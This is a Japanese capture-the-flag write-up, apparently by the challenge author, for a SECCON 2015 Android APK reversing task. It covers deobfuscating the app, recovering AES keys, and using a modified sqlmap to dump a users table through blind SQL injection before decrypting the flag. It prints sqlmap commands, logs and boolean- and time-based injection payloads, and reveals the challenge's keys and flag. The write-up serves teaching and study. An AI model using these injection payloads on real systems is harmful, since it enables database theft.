SECCON 2015 CTF) Reverse-Engineering Android APK 2 – Unknown- 400 Write up (JP)

12/06/2015 0 Comments

こんにちは h2spiceです。
SECCON 2015-Unknown 400-Reverse Engineering Android APK(2)WriteUpです。



現実的に発生しうるシナリオで作成しながら、面白い問題がほしい悩みましたが、果たして問題を解いてみた方たちはどう思うのか知りたいです。
(問題があればご指摘お願い致します。 次に問題を作るチャンスがもっとあったら反映するようにします。)

問題は、ログイン、会員加入、使用者情報出力機能を持ったアンドロイドアプリです。


特定使用者の場合のみUser Information画面にScoreを獲得できる認証キーが出力されます。

login.phpとregister.phpのemail parameterにはSQL-Injection可能な脆弱性があって
HTTP responseはJson typeで伝えるためにBlind SQL Injection攻撃を通じて解決しなければなりません。


下図のようにE-mail FormにQueryを挿入してSQL-Injection攻撃脆弱性を確認することができます。


。apkをDecompileして分析してみると、SECCON{…}Keyはuid(unique-id)でAES暗号化して保存されているのを見ることができます。 uidは[index i:index j]だけに切ってAES Keyとして使うが、i、jの変数は難読化されています。


SECCON{…}Keyが特定使用者のuidで暗号化されているために、uidを獲得する方法はBrute-force AttackまたはServerのDatabaseを攻略する方法しかありません。
Brute-forceの場合CTFが行われている間(24H)は不可能なために、ServerのDatabaseを取得しなければなりません。
‘Sign up’または’Sign in’する時HTTP POST ParameterはすべてAES暗号化して伝送します。
AES Keyは難読化されたデータで構成されています。


ObfuscatorはPRNG(Pseudorandom number generator)を使用してFeistel-cipher構造で実装されています。
(https://en.wikipedia.org/wiki/Feistel_cipher)
(https://en.wikipedia.org/wiki/Feistel_cipher)
static final int a = a(a("FENX0TONI0")); //seed = seed_generator(deObfuscator("FENX0TONI0"));

上のコードでstatic final int aはdeobfuscatorで使用するseedです。 (正確にはPRNGで使用します)
deObfuscatorではPRNG(pseudorandom number generator)を呼び出すが、PRNG()でseedを参照してRandom numberを生成することになります。
しかし、ここに簡単な艦艇がいるが、seedを作る前のseedを参照する状況が発生するように見えるように作りました。


実際にj.class(Obfuscator)オブジェクトが生成されるとき、int a(seed)は’zero’で初期化されます。
そして、難読化されたデータ”FENX0TONI0″も難読化を緩和すれば’zero’です。 seed-generatorのargumentに0が入った場合、内部的にshift演算を何度もしても0になるために、seedは最初から最後まで’zero’です。


こんなふうに、難読化を解いてPOST ParameterのAES Keyも探すことができます。
login.php POST parameter AES Key is "3246847986364861"
register.php POST paraneter AES Key is "9845674983296465"

上のAES KeyにParameterを生成してBlind SQL Injection攻撃を進行します。
私の場合はSQLMapのコードを修正して攻撃しました。


攻撃が正常に成功すると、下記のようにDB情報を確認することができます。
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 24
[10:04:32] [INFO] resumed: INNODB_BUFFER_POOL_STATS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 17
[10:04:32] [INFO] resumed: INNODB_LOCK_WAITS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 13
[10:04:32] [INFO] resumed: INNODB_CMPMEM
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 10
[10:04:32] [INFO] resumed: INNODB_CMP
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 12
[10:04:32] [INFO] resumed: INNODB_LOCKS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 19
[10:04:32] [INFO] resumed: INNODB_CMPMEM_RESET
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 16
[10:04:32] [INFO] resumed: INNODB_CMP_RESET
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 22
[10:04:32] [INFO] resumed: INNODB_BUFFER_PAGE_LRU
[10:04:32] [INFO] fetching number of tables for database 'seccon2015'
[10:04:32] [INFO] resumed: 1
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 5
[10:04:32] [INFO] resumed: users
Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_TRX                            |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: seccon2015
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+

[10:04:32] [INFO] fetched data logged to text files under '/Users/h2spice/.sqlmap/output/apk.pwn.seccon.jp'

[*] shutting down at 10:04:32

取得すべき情報は使用者のuid(unique-id)であるため、users Tableを取得します。
h2spices-MacBook-Pro:sqlmapproject-sqlmap-a219ff9 h2spice$ python sqlmap.py -r login.txt -p email --dump -T users -D seccon2015
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201511300897}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:09:00

[10:09:00] [INFO] parsing HTTP request from 'login.txt'
[10:09:00] [INFO] resuming back-end DBMS 'mysql' 
[10:09:00] [INFO] resuming back-end DBMS operating system 'Linux' 
[10:09:00] [INFO] testing connection to the target URL
plain-post
password=dkstkdghks&email=h2spice
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3D
[10:09:00] [INFO] heuristics detected web page charset 'ascii'
[10:09:00] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
plain-post
password=dkstkdghks&email=h2spice
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3D
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: password=dkstkdghks&email=h2spice' AND 7759=7759 AND 'aUaH'='aUaH

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: password=dkstkdghks&email=h2spice' AND (SELECT * FROM (SELECT(SLEEP(5)))shyL) AND 'sFAw'='sFAw
---
[10:09:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
[10:09:00] [INFO] fetching columns for table 'users' in database 'seccon2015'
[10:09:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:09:00] [INFO] retrieved: plain-post
password=dkstkdghks&email=h2spice%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28column_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x7573657273%20AND%20table_schema%3D0x736563636f6e32303135%29%2C1%2C1%29%29%3E51%20AND%20%27SYEX%27%3D%27SYEX
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=5pNDsvrGY7Y4Cfi4dATbVIp4ephJJIjMZ0BNE2ROEIHWmJEp64R%2FnXbnF9UURKBP5oY9StTRzv3ovlV6aqn2ZSJqmuFyLB0m8x%2B9yXQSjkGp7%2BTgNW2QXU0giLB4BkpDRQY1j4uG3iepEY8Lpqobs%2FTaA0UVtgBFzGL2uLqQb1QDIXRou%2FcoP94h5KnlRE5Q5Oax0AKEmXUPGkz9QoR%2BFGPeahw3DSg0dY%2FiCe4bbrurGE9BCcB8DQjOnL%2F48Wn94Zg0FO8JihPZRsQmzGGaRw%3D%3D

攻撃結果、users tableのデータをすべてインポートすることができて、iahthekey@2015.seccon.jpアカウントのunique_idを発見することができます。


iamthekey@2015.seccon.jpのunique-idは[0:16]だけに切ってAES Keyになります。
AES Keyで暗号化されたSECCON{…}を復号化することができます。


復号コードは下記の通りです。
import base64
from Crypto.Cipher import AES

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
unpad = lambda s: s[:-ord(s[len(s)-1:])]

key = "a159c1f7097ba804"
enc = "fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4="
enc = base64.b64decode(enc)
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(enc)
plain=unpad(dec).decode('utf-8')
print plain

Keyです。
h2spices-MacBook-Pro:Desktop h2spice$ python android400-decrypt.py 
SECCON{6FgshufUTpRm}


If you need my help, tell me anytime. Facebook